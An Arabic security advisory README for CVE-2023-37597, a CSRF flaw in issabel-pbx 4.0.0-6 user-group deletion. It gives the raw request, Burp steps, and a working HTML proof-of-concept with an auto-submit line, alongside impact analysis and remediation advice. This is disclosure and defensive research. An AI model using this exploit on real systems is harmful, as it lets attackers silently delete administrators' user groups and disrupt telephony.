
يحتوي Issabel-pbx v 4.0.0-6 على ثغرة أمنية من نوع تزوير الطلبات عبر المواقع (CSRF) في وظيفة إدارة مجموعات المستخدمين.
إخلاء مسؤولية: هذا المستودع مخصص للأغراض التعليمية والبحث الأمني المصرح به فقط. لا تستخدم هذا الاستغلال ضد أي نظام لا تملكه أو ليس لديك إذن كتابي صريح لاختباره.
issabel-pbx عبارة عن منصة اتصالات موحّدة مفتوحة المصدر تُستخدم على نطاق واسع (PBX) توفر خدمات VoIP وإدارة الهاتف والإدارة عبر الويب. تحتوي النسخة 4.0.0-6 من issabel-pbx على ثغرة تزوير الطلب عبر المواقع (CSRF) في وظيفة إدارة مجموعات المستخدمين.
يمكن لمهاجم خارجي غير مصادق إنشاء صفحة HTML خبيثة، وعندما يزورها مسؤول مصادق، ترسل الصفحة طلب HTTP POST مزيّفًا بصمت لحذف أي مجموعة مستخدمين. وبما أن التطبيق لا يتحقق من مصدر الطلبات التي تغيّر الحالة عبر رموز CSRF أو سياسات ملفات تعريف الارتباط SameSite، فإن المتصفح يرفق تلقائيًا ملف تعريف ارتباط الجلسة الخاص بالمسؤول، مما يؤدي إلى نجاح الحذف دون علم الضحية أو موافقتها.
تزوير الطلب عبر المواقع (CSRF) هو هجوم يخدع متصفح الضحية لإرسال طلب موثّق إلى تطبيق مستهدف نيابةً عن المهاجم. ينجح الهجوم عندما:
Origin/Referer، ولا سمة SameSite=Strict أو SameSite=Lax لملف تعريف الارتباط).تعالج نقطة نهاية حذف مجموعة المستخدمين (/index.php?menu=grouplist) في issabel-pbx 4.0.0-6 طلبات HTTP POST التي تحتوي فقط على إجراء delete ومعامل id_user. لا يقوم التطبيق بـ:
Origin أو Referer.SameSite على ملفات تعريف ارتباط الجلسة.ونتيجة لذلك، يمكن لأي صفحة ويب يتم تحميلها في متصفح الضحية أن ترسل بصمت نموذج الحذف باستخدام جلسة الضحية الحالية، لأن المتصفح سيرفق تلقائيًا ملف تعريف ارتباط الجلسة.
POST /index.php?menu=grouplist HTTP/1.1
Host: <Issabel IP>
delete=Delete&id_user=<USER_GROUP_ID>
تحذير: يُقدَّم إثبات المفهوم التالي للأغراض التعليمية فقط. استخدمه فقط في بيئات المختبرات أو الأنظمة التي لديك إذن صريح لاختبارها.
الخطوة 1 — تسجيل الدخول إلى لوحة تحكم Issabel
انتقل إلى صفحة قائمة مجموعات المستخدمين وسجّل الدخول باستخدام بيانات اعتماد المسؤول.
https://{Issabel IP}/index.php?menu=grouplist&action=view&id=11

الخطوة 2 — التقاط طلب الحذف
حاول حذف مجموعة مستخدمين أثناء تمرير حركة المرور عبر Burp Suite. انقر بزر الماوس الأيمن على طلب POST المُلتقط واختر Engagement Tools → Generate CSRF PoC لإنشاء الهيكل الأساسي لاستغلال HTML.

الخطوة 3 — استضافة صفحة استغلال CSRF
احفظ HTML المُنشأ كملف (انظر كود استغلال PoC أدناه). استضفه على خادم يتحكم فيه المهاجم، أو أرسله مباشرة إلى الضحية.
الخطوة 4 — فتح الضحية لصفحة الاستغلال
عندما يفتح المسؤول المصادق رابط الاستغلال أو تتم إعادة توجيهه إليه، يتم إرسال النموذج المخفي تلقائيًا (أو تنقر الضحية على الزر الطُعمي). يتم حذف مجموعة المستخدمين المستهدفة من لوحة التحكم.


يوضح ملف HTML التالي (متاح أيضًا باسم CSRF exploit.html) الهجوم. استبدل {Issabel IP} بالمضيف الهدف واضبط id_user ليطابق معرف المجموعة التي تريد حذفها.
<html>
<body>
<script>history.pushState('', '', '/')</script>
<form action="https://{Issabel IP}/index.php?menu=grouplist" method="POST">
<input type="hidden" name="delete" value="Delete" />
<input type="hidden" name="id_user" value="7" />
<input type="submit" value="Submit request" />
</form>
</body>
</html>
نسخة الإرسال التلقائي: لإلغاء الحاجة إلى نقر الضحية على أي شيء، أضف السطر التالي داخل وسم
<body>بحيث يُرسل النموذج تلقائيًا عند تحميل الصفحة:<script>document.forms[0].submit();</script>
| البعد | الوصف |
|---|---|
| السلامة (Integrity) | يمكن للمهاجم حذف أي مجموعة مستخدمين بصمت من لوحة تحكم Issabel. |
| التوفر (Availability) | يؤدي حذف مجموعات المستخدمين إلى تعطيل قواعد توجيه المكالمات، والتحكم في الوصول، وخدمات الهاتفة لجميع المستخدمين المنتمين إلى تلك المجموعات، بما يعادل حرمانًا جزئيًا من الخدمة. |
| السرية (Confidentiality) | لا تتأثر مباشرة بهذه الثغرة. |
يجب على المسؤولين والمطوّرين تطبيق الدفاعات التالية:
تنفيذ رموز CSRF (نمط رمز المزامنة)
تعيين سمة SameSite لملف تعريف الارتباط
SameSite=Lax (الحد الأدنى) أو SameSite=Strict لمنع الطلبات عبر المواقع من حمل بيانات اعتماد الجلسة.Set-Cookie: PHPSESSID=...; SameSite=Lax; Secure; HttpOnlyالتحقق من ترويسات Origin و Referer
Origin أو Referer فيها مع نطاق التطبيق نفسه.طلب إعادة المصادقة للإجراءات التدميرية
تطبيق الدفاع في العمق
| التاريخ | الحدث |
|---|---|
| 10 يوليو 2023 | تم اكتشاف الثغرة وتوثيقها بواسطة Sahil Ojha |
| 10 يوليو 2023 | تم تعيين CVE-2023-37597 |
| 10 يوليو 2023 | الإفصاح العلني |
Sahil Ojha باحث أمني
إذا وجدت هذا البحث مفيدًا، فلا تتردد في ⭐ وضع نجمة على المستودع.
| الحقل | القيمة |
|---|
| معرّف CVE | CVE-2023-37597 |
| الثغرة | تزوير الطلب عبر المواقع (CSRF) |
| CWE | CWE-352 — تزوير الطلب عبر المواقع (CSRF) |
| الخطورة | متوسطة |
| متجه CVSS | CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:H/A:H |
| النسخة المتأثرة | issabel-pbx 4.0.0-6 |
| تم الإفصاح | 10 يوليو 2023 |
| الباحث | Sahil Ojha |
| الحقل | القيمة |
|---|
| اسم المنتج | issabel-pbx |
| النسخة | 4.0.0-6 |
| البائع | Issabel Foundation |
| الصفحة الرئيسية للبائع | https://www.issabel.org/ |
| الكود المصدري | https://github.com/IssabelFoundation/issabelPBX |
| تم الاختبار على | Windows (Burp Suite Community Edition) |